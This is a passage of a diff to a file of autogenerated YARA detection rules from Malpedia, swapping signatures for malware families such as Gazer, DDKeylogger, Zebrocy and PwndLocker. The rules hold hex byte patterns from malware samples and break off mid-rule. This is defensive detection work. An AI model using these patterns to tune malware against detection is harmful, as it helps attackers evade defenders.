 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "539cc86b-948c-5a39-97ed-a3902d358bcb"
+		id = "4f697767-8c05-5c0d-bde5-d6a7fdfb5341"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightneuron"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lightneuron_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gazer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gazer_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "eb817806e099f7ab1d4d5a04d338d80185e8c65715cfe2e18f8deb16ab95898d"
+		logic_hash = "9d7c4a164f0a9c13470f23ca334f1d2575ebac4454f4b53ffe47ee33d23ce84e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -180041,32 +187041,32 @@ rule MALPEDIA_Win_Lightneuron_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 488d8c2434010000 33d2 41b800010000 89b42430010000 e8???????? 488bcf }
-		$sequence_1 = { 0f4ed9 3bc5 770b 3beb 7707 b801000000 eb02 }
-		$sequence_2 = { 85d2 7e24 488b8f80000000 e8???????? 488b8f80000000 4885c9 740c }
-		$sequence_3 = { e8???????? 8bf0 85c0 7502 893b 85f6 754c }
-		$sequence_4 = { 4503c1 453bc1 4183d200 4403c0 443bc0 45894304 }
-		$sequence_5 = { 448bc3 e8???????? 448bc3 33d2 498bcd e8???????? 498bcd }
-		$sequence_6 = { 4c0f45c0 488b05???????? 4885c0 480f45d0 488d442448 4889442430 4c896c2428 }
-		$sequence_7 = { 488bd0 498bcc e8???????? 4d8b0c24 458b44240c 33d2 }
-		$sequence_8 = { 48895c2428 89442420 e8???????? 448b05???????? 4533c9 ba9d010000 b900001000 }
-		$sequence_9 = { 4533c9 4533c0 babf000000 b900001000 48895c2428 89442420 e8???????? }
+		$sequence_0 = { 85c0 7511 e8???????? 84c0 7508 }
+		$sequence_1 = { 85c0 7511 e8???????? 84c0 7508 83c8ff e9???????? }
+		$sequence_2 = { 85c0 7511 e8???????? 84c0 }
+		$sequence_3 = { ff15???????? 85c0 7511 e8???????? 84c0 7508 83c8ff }
+		$sequence_4 = { 7511 e8???????? 84c0 7508 83c8ff e9???????? }
+		$sequence_5 = { ff15???????? 85c0 7511 e8???????? 84c0 7508 }
+		$sequence_6 = { 7511 e8???????? 84c0 7508 83c8ff }
+		$sequence_7 = { ff15???????? 85c0 7511 e8???????? 84c0 }
+		$sequence_8 = { 85c0 7511 e8???????? 84c0 7508 83c8ff }
+		$sequence_9 = { 4133c0 23c1 33c2 4103c1 }
 
 	condition:
-		7 of them and filesize <573440
+		7 of them and filesize <950272
 }
-rule MALPEDIA_Win_Neutrino_Pos_Auto : FILE
+rule MALPEDIA_Win_Ddkeylogger_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3a77c0fc-cd49-5986-b2b4-8a8639992c93"
+		id = "32af4d2e-12e0-5512-a4a7-e09c0d4c8550"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino_pos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.neutrino_pos_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ddkeylogger"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ddkeylogger_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "d3da7317997b76876b14e53b428d397cde821604c2c6da81c73b18c8b2dd677f"
+		logic_hash = "03458a2b11f7d3c85fa0851f46b24d084521ba159cb6b960088359db4227b8a0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -180080,32 +187080,32 @@ rule MALPEDIA_Win_Neutrino_Pos_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 68fbd5fba3 43 53 897dfc e8???????? 83c40c 56 }
-		$sequence_1 = { 5a 6a71 6689955affffff 5a 6a61 6689955cffffff }
-		$sequence_2 = { 6863ad115b 6a04 c745e801000000 8945f4 e8???????? 59 }
-		$sequence_3 = { e8???????? 59 59 6a00 56 e9???????? }
-		$sequence_4 = { 6a62 66898556ffffff 58 6a53 66898558ffffff }
-		$sequence_5 = { 59 6a64 66898d6cffffff 59 6a68 66898d6effffff 59 }
-		$sequence_6 = { 6a63 6689854cffffff 58 6a62 6689854effffff 58 6a69 }
-		$sequence_7 = { 66895db2 6a64 8bd9 66895db4 8bd8 66895db6 5b }
-		$sequence_8 = { 8b45e0 8b08 6a03 50 ff5138 }
-		$sequence_9 = { 66894dd6 66894dd8 66894dda 66894ddc 66894dde 66894de0 66894de2 }
+		$sequence_0 = { 8bf7 83e61f c1e606 03348580ee4500 }
+		$sequence_1 = { 51 894df4 8955fc 8945f8 e8???????? 83c408 }
+		$sequence_2 = { 8bc8 c1e902 f3a5 8bc8 8d95e8faffff 83e103 52 }
+		$sequence_3 = { 0fb64f08 80cbff d2e3 40 f6d3 205c30ff 0fb64f08 }
+		$sequence_4 = { 0405 c3 f6c20c 7409 f6c208 0f95c0 }
+		$sequence_5 = { 52 50 8b81e0000000 ffd0 837df804 75e8 }
+		$sequence_6 = { c745fc00000000 e8???????? 83c40c 8d85ccfaffff 50 8d8df0fdffff 51 }
+		$sequence_7 = { 50 57 ffd3 8945bc 8d45c8 50 }
+		$sequence_8 = { ff248d4cf74000 8d48cf 80f908 7706 6a03 }
+		$sequence_9 = { 6bc930 8975e0 8db1c0624100 8975e4 }
 
 	condition:
-		7 of them and filesize <188416
+		7 of them and filesize <808960
 }
-rule MALPEDIA_Win_Forest_Tiger_Auto : FILE
+rule MALPEDIA_Win_Unidentified_088_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2947155f-bcbc-5d27-b13d-2d3d872fe248"
+		id = "008a08cf-eb70-5951-921d-71ebeefbb775"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.forest_tiger"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.forest_tiger_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_088"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_088_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "baf01183ad62d9cfadf21ee10ad4e3a50b3d3f1c1788ceb5d46999aa5751e1b0"
+		logic_hash = "edb29cf74a1f7930c182d8621bb40052ec38cc60668c8de3f80bbb2fb8759321"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -180119,32 +187119,32 @@ rule MALPEDIA_Win_Forest_Tiger_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 833f01 0f94c0 84c0 7407 }
-		$sequence_1 = { 833f01 0f94c0 84c0 7407 e8???????? eb05 }
-		$sequence_2 = { 833f01 0f94c0 84c0 7407 e8???????? }
-		$sequence_3 = { 833f01 0f94c0 84c0 7407 e8???????? eb05 e8???????? }
-		$sequence_4 = { 6a0c 51 e8???????? 83c410 8b858cf8ffff 3bc3 746e }
-		$sequence_5 = { 4885c9 740c e8???????? 4c8935???????? 488d0ddf710200 ff15???????? }
-		$sequence_6 = { 741b 498d8c243a250000 458ac6 b213 e8???????? f7d8 1bdb }
-		$sequence_7 = { 51 e8???????? 83c410 81c6a8000000 8bc6 8d5002 668b08 }
-		$sequence_8 = { c20400 8b4508 c7462c00000080 c74644ffffffff 85c0 7403 894644 }
-		$sequence_9 = { 7416 4883ffff 7410 8bcd e8???????? 488bcf ffd0 }
+		$sequence_0 = { c642e801 894af4 83f807 75df c705????????06000000 c705????????11000000 c705????????12000000 }
+		$sequence_1 = { c705????????208d4200 c705????????62eb4100 c705????????90154200 c605????????01 c705????????10000000 c705????????20a94200 c705????????40eb4100 }
+		$sequence_2 = { c605????????01 c705????????04000000 c705????????80a94200 c705????????61e04100 c705????????30054200 c705????????00000000 }
+		$sequence_3 = { 8b10 8d4a01 8d3490 8908 8b4de4 8b5e08 }
+		$sequence_4 = { 0f8438010000 8b00 39c7 720d 48 893c24 }
+		$sequence_5 = { 8b7de4 e9???????? 8d65f4 5b 5e 5f 5d }
+		$sequence_6 = { e9???????? c705????????08000000 c705????????04000000 c605????????12 c705????????00000000 c705????????d80f4200 }
+		$sequence_7 = { c705????????a0ad4200 c705????????4ce84100 c705????????100d4200 c605????????01 c705????????04000000 }
+		$sequence_8 = { e8???????? 89d9 89c2 e8???????? 8d65f4 5b }
+		$sequence_9 = { 894c2408 89f1 89542404 895c240c e8???????? b904000000 83ec10 }
 
 	condition:
-		7 of them and filesize <709632
+		7 of them and filesize <919552
 }
-rule MALPEDIA_Win_Compfun_Auto : FILE
+rule MALPEDIA_Win_Stealer_0X3401_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b70b97d4-0cf0-525a-92ea-8899bccf1319"
+		id = "bb4f4861-3b94-5ae9-a941-991186118cf0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.compfun"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.compfun_auto.yar#L1-L161"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealer_0x3401"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.stealer_0x3401_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "a0b696c7a840205849cf5ac2e95df1021718fd8d1c1053a2c6b648baa042ec58"
+		logic_hash = "5581efed5fdecbce8348574e847d7eb07ab8e38c2ac3e166eb58c72b5a5419d5"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -180158,38 +187158,32 @@ rule MALPEDIA_Win_Compfun_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d857cfeffff 50 8d857cffffff 50 e8???????? 59 50 }
-		$sequence_1 = { c7460c65726174 c746106f722063 c746146c617373 c6461800 8bc6 5e }
-		$sequence_2 = { 56 e8???????? 83c40c c74608697a6520 c70647657446 c74604696c6553 c6460b00 }
-		$sequence_3 = { c7460472656174 c7460865557365 c7460c72546872 c6461300 }
-		$sequence_4 = { e8???????? 83c40c c7460c33322020 c706496e7072 }
-		$sequence_5 = { 6880000000 6a00 56 e8???????? 83c40c c70647657446 c74604756c6c50 }
-		$sequence_6 = { c6460f00 8bc6 5e 5d c3 55 }
-		$sequence_7 = { c7460825202020 c70625415050 c7460444415441 c6460900 8bc6 5e }
-		$sequence_8 = { 034c2460 488b442450 894820 488b4c2450 }
-		$sequence_9 = { 03c1 4863d0 488b4c2430 488b442438 }
-		$sequence_10 = { 03c1 89442420 8b442420 83c001 }
-		$sequence_11 = { 03c1 89442420 8b4c2438 488b442450 }
-		$sequence_12 = { 03c1 89442420 8b542438 486bd218 }
-		$sequence_13 = { 034c242c 488b442470 894820 488d542440 }
-		$sequence_14 = { 03c1 89442434 8b442430 39442434 }
-		$sequence_15 = { 0344242c 8bc8 e8???????? 4889442448 }
+		$sequence_0 = { 03f2 8bd6 85f6 7e37 8d8d5cfeffff e8???????? }
+		$sequence_1 = { 53 e8???????? 83c41c c74424280f000000 c744242400000000 c644241400 803b00 }
+		$sequence_2 = { 5f 894df0 8b34cd50fa0110 8b4d08 6a5a 2bce }
+		$sequence_3 = { 83781410 7202 8b00 ffb57cfdffff }
+		$sequence_4 = { c745fc05000000 8d8d5cffffff e8???????? c645fc06 83781410 7202 }
+		$sequence_5 = { 8b8db87dffff 40 3d00100000 722a f6c11f }
+		$sequence_6 = { 64a300000000 8b35???????? 8d8574ffffff 50 6a00 }
+		$sequence_7 = { 8d8598feffff 3bc3 7435 8bc8 e8???????? }
+		$sequence_8 = { 8d4c2434 e8???????? 53 e8???????? 83c404 8d44242c 8bcf }
+		$sequence_9 = { ffb5843fffff ffd7 83bd803fffff00 0f84ec000000 6a12 68???????? b9???????? }
 
 	condition:
-		7 of them and filesize <402432
+		7 of them and filesize <357376
 }
-rule MALPEDIA_Win_Unidentified_091_Auto : FILE
+rule MALPEDIA_Win_Sendsafe_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8c2d9d9b-cb98-5dfc-90ce-01312105d94f"
+		id = "cb217c22-cbf0-508f-ac96-405f94d46039"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_091"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_091_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sendsafe"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sendsafe_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "5f25d4d54583311a39cbead5d516e9dd7eb57b96b31eb59a9b18d068eb7148c5"
+		logic_hash = "e90570bf37f8e67b125b5c0e63f782c1ecedcd1e6ef21243ea37efff8deeb91b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -180203,34 +187197,34 @@ rule MALPEDIA_Win_Unidentified_091_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? c744244801000000 488d4c2460 48895c2440 4c8d8734030000 48894c2438 4c8d0ddf721400 }
-		$sequence_1 = { e8???????? 482be0 8b3a 488bd9 8b89d4050000 488bf2 85c9 }
-		$sequence_2 = { e9???????? 488d8ab00e0000 e9???????? 488d8ad00e0000 e9???????? 488d8af00e0000 e9???????? }
-		$sequence_3 = { 89742420 498b06 48634804 33d2 4a89543128 eb41 488b01 }
-		$sequence_4 = { eb6f 4c8b5048 4d85d2 7514 c74424207a020000 418d527c 41b884000000 }
-		$sequence_5 = { 742e c7814007000000000000 488d15b7081400 488b8938060000 41b895030000 e8???????? 48c7833806000000000000 }
-		$sequence_6 = { eb0f 488bd3 488d0dabf12500 e8???????? 488b85d0010000 48634804 488d0524fe2500 }
-		$sequence_7 = { e8???????? 90 488bcb e8???????? 85c0 7525 488b4c2438 }
-		$sequence_8 = { ffc3 e8???????? 3bd8 7cc6 41f6c708 0f85d0000000 4c8d058d0c1100 }
-		$sequence_9 = { eb03 890c90 8b4df3 48ffc2 4983c002 483bd1 72db }
+		$sequence_0 = { ff36 f30f6f442438 8d442428 50 660fefc8 50 8b4608 }
+		$sequence_1 = { f20f5e15???????? f20f59ca f20f58c1 f20f2cc8 894dd4 8b550c 83ba381c000000 }
+		$sequence_2 = { e8???????? 8b8510feffff e9???????? 6800010000 8b9588feffff 52 e8???????? }
+		$sequence_3 = { c1e000 8b4dfc 0fbe1401 85d2 7409 8b45f8 83c001 }
+		$sequence_4 = { e8???????? 83c40c 8983b0010000 85c0 750a 6815060000 e9???????? }
+		$sequence_5 = { e8???????? 83c414 85c0 0f84e1010000 ff7518 8d4704 57 }
+		$sequence_6 = { eb07 c745fc00000000 8b5508 8b4204 3b45fc 7404 33c0 }
+		$sequence_7 = { 8b783c 037904 8b8610010000 8bef c1f808 896c2414 8807 }
+		$sequence_8 = { 8b4620 83c408 314500 8b4624 314504 8b4628 314648 }
+		$sequence_9 = { eb06 8b55f4 8955f0 b801000000 6bc800 8b55f0 0fbe040a }
 
 	condition:
-		7 of them and filesize <5777408
+		7 of them and filesize <3743744
 }
-rule MALPEDIA_Win_Ccleaner_Backdoor_Auto : FILE
+rule MALPEDIA_Win_Zebrocy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "fc5d42e4-2b09-51e8-9476-e6d57b9f6fbe"
+		id = "ddee4b03-585f-5184-85a4-c6cc1e810bdc"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ccleaner_backdoor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ccleaner_backdoor_auto.yar#L1-L264"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zebrocy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zebrocy_auto.yar#L1-L161"
 		license_url = "N/A"
-		logic_hash = "437c1ac4e0723d85ccca29c304bbc711ed3ae66fbe1eeb3f8d5172b567e72b6c"
+		logic_hash = "619394d96ac2748c82d29651fdad853561cf847222687873937db9b64b7f21e0"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -180242,51 +187236,38 @@ rule MALPEDIA_Win_Ccleaner_Backdoor_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 57 ffd6 50 ff15???????? 8b3d???????? }
-		$sequence_1 = { ff15???????? 8b3d???????? 59 ffd7 }
-		$sequence_2 = { 750a b857000780 e9???????? e8???????? }
-		$sequence_3 = { 01460c 488b3f 493bfc 0f8554ffffff }
-		$sequence_4 = { 00cc cc 4883ec28 488b11 }
-		$sequence_5 = { 49 75f9 ffd3 6800400000 }
-		$sequence_6 = { ff75f0 ff15???????? 85c0 0f850c010000 8b35???????? 53 }
-		$sequence_7 = { 01442424 eb30 8b4508 897518 }
-		$sequence_8 = { 03c0 894340 8b7340 418bc4 }
-		$sequence_9 = { 03c6 4863d0 4c8d0c12 4c8d4718 }
-		$sequence_10 = { 03c6 85c0 7f09 488b0a 488b01 ff5008 488b4b28 }
-		$sequence_11 = { 891d???????? 68???????? 6a03 53 68???????? ff742424 891d???????? }
-		$sequence_12 = { 6a04 50 8d45e0 6a04 50 8d85e0feffff 50 }
-		$sequence_13 = { c1e008 8d8418a1000000 50 e8???????? 85c0 7545 }
-		$sequence_14 = { 012e 33c0 5f 5e 5d }
-		$sequence_15 = { 00cc cc 4057 4883ec50 4533db }
-		$sequence_16 = { 8b7df8 0faff8 ffd6 33f8 }
-		$sequence_17 = { 01442454 03d1 294c2450 8b4c2410 }
-		$sequence_18 = { 50 68???????? ff742418 ff15???????? 85c0 0f8579010000 }
-		$sequence_19 = { c7471854b40210 c1e803 3bc1 7302 8bc8 6afd }
-		$sequence_20 = { 3bc2 7661 89450c 8a06 46 50 e8???????? }
-		$sequence_21 = { 013d???????? 8b04b5d8970210 0500080000 3bc8 }
-		$sequence_22 = { 3b7d10 0f8264010000 3bfa 0f835c010000 2bda 8d4602 }
-		$sequence_23 = { 013e 33c0 8b16 83c410 }
-		$sequence_24 = { e8???????? 8b4510 59 f7d8 }
-		$sequence_25 = { 01442418 03c8 8954242c 8b542470 }
-		$sequence_26 = { 01461c 8b542424 85d2 7405 }
-		$sequence_27 = { 01cc cc 48895c2408 57 }
-		$sequence_28 = { 4c 8bca c1e002 4c 03d5 48 }
+		$sequence_0 = { 014158 11515c e8???????? dc6360 }
+		$sequence_1 = { 8bc6 33d2 66891478 8bc6 5f c3 8bff }
+		$sequence_2 = { 0103 83c41c 5b 5e }
+		$sequence_3 = { 83c438 68581b0000 ff15???????? 83bd00f7ffff08 8b85ecf6ffff 7306 8d85ecf6ffff }
+		$sequence_4 = { 8b7508 837e0800 7610 8b4608 8d808c994200 fe08 }
+		$sequence_5 = { 0110 8b7dd4 ba???????? 89470c }
+		$sequence_6 = { 0103 8b0e ba???????? e8???????? }
+		$sequence_7 = { 8b441a20 85c9 7f0d 7c05 83f801 7706 }
+		$sequence_8 = { 0102 8b45d4 89500c 89c1 }
+		$sequence_9 = { 014150 8b550c 115154 014158 }
+		$sequence_10 = { 0f8553010000 837de400 7c5d 7f04 85f6 }
+		$sequence_11 = { 0103 31d2 85ff 8b03 }
+		$sequence_12 = { 7303 8d45b8 8b4dc8 03c8 8bc6 83fa10 }
+		$sequence_13 = { 68???????? 6888000800 ff15???????? 8bf0 85f6 }
+		$sequence_14 = { 0110 5e 5f 5d }
+		$sequence_15 = { 3bc1 0f87c8090000 ff2485689c4100 33c0 838de8fdffffff }
 
 	condition:
-		7 of them and filesize <377856
+		7 of them and filesize <393216
 }
-rule MALPEDIA_Win_Fakeword_Auto : FILE
+rule MALPEDIA_Win_Kingminer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "dff35d24-3d8a-5dd3-be0c-60e6ee2ac528"
+		id = "13b82737-eb1a-51ab-9795-8340f262e7e5"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fakeword"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fakeword_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kingminer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kingminer_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "ba7599fef3200798ceac9b8a2a397ab651b3acac17ae30ecdd8eedb5f787592d"
+		logic_hash = "f79d58fb6043de2ccd7faac7ea9ed3b2513556edb2a1cd9df8f496a155aebade"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -180300,32 +187281,32 @@ rule MALPEDIA_Win_Fakeword_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 52 68???????? a3???????? 890d???????? c744240c10000000 c605????????11 c605????????22 }
-		$sequence_1 = { eb03 8b7de8 8d14b6 893d???????? }
-		$sequence_2 = { 7516 8b0a 8b6f34 25ff0f0000 03c3 03c1 }
-		$sequence_3 = { 6a00 6a10 8d7e14 56 6a04 }
-		$sequence_4 = { c684247603000031 754d 8d442454 8d8c2477030000 50 56 }
-		$sequence_5 = { 03c3 89442410 8b4804 85c9 750b 8b480c }
-		$sequence_6 = { 8b4701 8d4f09 8d743809 56 51 ff15???????? 83c408 }
-		$sequence_7 = { 8d1c02 3bd9 72f1 c6040f00 }
-		$sequence_8 = { b808000000 5e 83c440 c3 81fea1000000 7528 }
-		$sequence_9 = { 57 33c0 85d2 7e19 8bca 8bf3 8be9 }
+		$sequence_0 = { a1???????? 885c30fe a1???????? 0fb64c30f9 884c30fc }
+		$sequence_1 = { ff15???????? 6a01 ff15???????? 6a00 ff15???????? 8b4508 }
+		$sequence_2 = { 83c40c 807c30ff62 8d4c30ff 0f8599010000 }
+		$sequence_3 = { ff15???????? 6a00 ff15???????? 8b80c0000000 85c0 7422 }
+		$sequence_4 = { 6a00 ff15???????? 6a00 ff15???????? 6a01 ff15???????? 6a00 }
+		$sequence_5 = { 3bf0 741e 68c1000000 ff15???????? 5b }
+		$sequence_6 = { ff15???????? a1???????? 50 ffd7 ff15???????? 6a01 ff15???????? }
+		$sequence_7 = { 6a04 6800100000 51 52 ffd0 83c414 85c0 }
+		$sequence_8 = { 8d4dec 51 8d580c 56 8bc7 c745ec89480489 }
+		$sequence_9 = { 8b95d0feffff 2b4234 7419 83b9a000000000 7466 50 }
 
 	condition:
-		7 of them and filesize <98304
+		7 of them and filesize <165888
 }
-rule MALPEDIA_Win_Dexter_Auto : FILE
+rule MALPEDIA_Win_Longwatch_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5ebe4c09-da98-582c-8eed-df32a16fd066"
+		id = "9cbc3845-247e-5088-802c-974faf2556c3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dexter"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dexter_auto.yar#L1-L115"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.longwatch"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.longwatch_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "88383a20a07c3308fad4494ea352148cf37f604e3e0c05d6e635ee453d38e768"
+		logic_hash = "f16a1609422dbff4c114599f67e44a3d80148789c090def0703b76643a40482b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -180339,32 +187320,32 @@ rule MALPEDIA_Win_Dexter_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b5508 83c201 895508 8d45f4 }
-		$sequence_1 = { c705????????00000000 a1???????? 0305???????? 8945fc 8b4d0c }
-		$sequence_2 = { eb17 837df400 7511 6a01 e8???????? }
-		$sequence_3 = { 50 e8???????? 83c410 8b4df8 51 6a00 8b15???????? }
-		$sequence_4 = { 7507 b801000000 eb0d 8b4dfc 83c101 }
-		$sequence_5 = { 52 6a00 ff15???????? 68???????? 68???????? }
-		$sequence_6 = { e8???????? 83c404 0fbed8 c1e304 }
-		$sequence_7 = { 68e8030000 ff15???????? e9???????? 833d????????00 741e 8b0d???????? }
-		$sequence_8 = { 8b5510 8a45f9 8802 8b4d10 83c101 }
-		$sequence_9 = { 8b0d???????? 51 ff15???????? 6aff 8b15???????? }
+		$sequence_0 = { 68???????? e8???????? 83c404 833d????????ff 7546 6a00 }
+		$sequence_1 = { 8bec 53 8b5d08 33c9 57 33c0 8d3c9d2c074300 }
+		$sequence_2 = { 0f8cf8030000 68a1000000 ff15???????? 6683f888 0f8ce3030000 8d46fe }
+		$sequence_3 = { eb29 8b55d4 8a07 8b0c95a00b4300 }
+		$sequence_4 = { 53 8b5d08 33c9 57 33c0 8d3c9d2c074300 f00fb10f }
+		$sequence_5 = { 6bc618 57 8db874074300 57 }
+		$sequence_6 = { 8ad3 b9???????? e8???????? 837d9400 8db548ffffff }
+		$sequence_7 = { e8???????? ff7364 33c9 8d7b18 84c0 0f44f9 }
+		$sequence_8 = { 56 68a0000000 8bf1 ff15???????? }
+		$sequence_9 = { c74634d46e4200 6a00 57 8bce e8???????? }
 
 	condition:
-		7 of them and filesize <98304
+		7 of them and filesize <647168
 }
-rule MALPEDIA_Win_Ragnarlocker_Auto : FILE
+rule MALPEDIA_Win_Pwndlocker_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e474a54c-f0e2-58cf-8fb5-f5efe389dd86"
+		id = "68fbdce5-97ba-5b4c-a728-8efe50c54b3b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarlocker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ragnarlocker_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pwndlocker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pwndlocker_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "0ce73fa8ff409c8b46cae101a5ed771c097f4c9fb16c4b873e6cf25053373d48"
+		logic_hash = "035ce763bc16632a928a77294057e290950a177cc8c2678dfab31b46c9b29c9e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -180378,32 +187359,32 @@ rule MALPEDIA_Win_Ragnarlocker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 898df4feffff 894dc0 8b4f14 898decfeffff 894df8 8b4d0c 0fb601 }
-		$sequence_1 = { 33f1 8b4de8 8bd0 2345d4 3355d4 2355c8 33d0 }
-		$sequence_2 = { 0fb6c5 6a04 0bd0 0fb6c1 6800300000 c1e208 53 }
-		$sequence_3 = { 039d28ffffff 13bd24ffffff 035d94 137d98 81c338b548f3 81d75bc25639 015df4 }
-		$sequence_4 = { 0fa4ca17 c1ee09 c1e117 0bda 8b55dc 0bf1 8b4de0 }
-		$sequence_5 = { 8bfa 8b4dd4 8bf1 337de8 3375f4 237dac 2355e8 }
-		$sequence_6 = { 897dfc 8bbd34ffffff 8bf7 8bcf c1e618 0facd108 }
-		$sequence_7 = { 3375ec 8b55e8 2355c0 2375d4 33fa 8b4df4 234dec }
-		$sequence_8 = { 03c3 8945b8 13cf 33ff 894de0 }
-		$sequence_9 = { c1e108 0bc8 0fb64604 c1e108 0bc8 894b14 0f114318 }
+		$sequence_0 = { c1cf0d 01c7 ebf4 3b7df0 75e0 5a }
+		$sequence_1 = { 01d8 83c078 8b00 8d3403 8b4e18 }
+		$sequence_2 = { c1cf0d 01c7 ebf4 3b7df0 }
